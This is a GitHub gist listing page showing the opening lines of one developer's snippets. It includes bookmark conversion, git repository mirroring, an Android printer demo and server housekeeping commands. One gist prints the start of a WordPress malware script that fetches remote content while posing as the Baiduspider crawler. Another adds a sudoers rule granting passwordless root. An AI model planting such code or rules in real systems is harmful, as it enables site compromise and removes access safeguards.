Skip to content

Instantly share code, notes, and snippets.

View aslamanver's full-sized avatar
🎯
Focusing

Aslam Anver aslamanver

🎯
Focusing
View GitHub Profile
@aslamanver
aslamanver / toby2chrome.py
Created June 14, 2025 01:47
Toby JSON to Chrome Bookmarks HTML (Export Toby collections and import to Chrome bookmarks)
import json
from datetime import datetime
from pathlib import Path
import html
# --- Configuration ---
INPUT_JSON = "toby.json"
OUTPUT_HTML = "converted_bookmarks.html"
def escape(text):
@aslamanver
aslamanver / move_files.py
Created June 12, 2025 17:23
Simpler script to move files
import os
import shutil
from typing import Callable
def move_files(condition: Callable[[str], bool], source_path: str, destination_path: str):
os.makedirs(destination_path, exist_ok=True)
for filename in os.listdir(source_path):
if condition(filename):
source = os.path.join(source_path, filename)
destination = os.path.join(destination_path, filename)
@aslamanver
aslamanver / git-migrate.sh
Created July 5, 2023 06:07
Migrate GIT Repositories Script
gh repo list orgname --limit 1000 | while read -r repo _; do
echo "git clone --mirror [email protected]:$repo.git"
git clone --mirror [email protected]:$repo.git
# cd $repo.git
# git remote set-url origin [email protected]:orgname/$REPO.git
# git push --mirror
done
@aslamanver
aslamanver / MainActivityLite.java
Created January 10, 2023 10:10
Example Demonstration of PAYable WPOS Printer SDK
package com.payable.posutils;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
@aslamanver
aslamanver / github-migration.sh
Last active December 28, 2022 11:33
Use GitHub CLI
gh repo list payable --limit 1000 | while read -r repo _; do
echo "git clone --mirror [email protected]:$repo.git"
git clone --mirror [email protected]:$repo.git
# cd $repo.git
# git remote set-url origin [email protected]:orgname/$REPO.git
# git push --mirror
done
@aslamanver
aslamanver / fibrous.js
Created December 23, 2022 20:07
Fibrous Numbers
let n = 100;
// 0, 1, 1, 2, 3, 5, 8, 13 until 100, 144
let number1 = 0;
let number2 = 1;
let sum = 1;
while(number1 <= n) {
@aslamanver
aslamanver / index.php
Created December 13, 2022 11:19
WordPress Virus Malicious Script that affects SEO
<?php
function barry($url)
{
$file_contents = '';
$user_agent = 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)';
if (function_exists('curl_init')) {
try {
$ch = curl_init();
$timeout = 30;
curl_setopt($ch, CURLOPT_URL, $url);
@aslamanver
aslamanver / script.sh
Last active December 4, 2022 07:09
Connected connections list
netstat -anp
netstat -tupn | grep -v '127.0.0.1' | wc -l
@aslamanver
aslamanver / script.sh
Created December 3, 2022 13:30
Sudo without password
sudo visudo
$USER ALL=(ALL) NOPASSWD: ALL
@aslamanver
aslamanver / script.sh
Created December 3, 2022 05:45
Email Inodes Optimization
du -s --inodes * | sort -n
find * -type f -mtime +0 | wc -l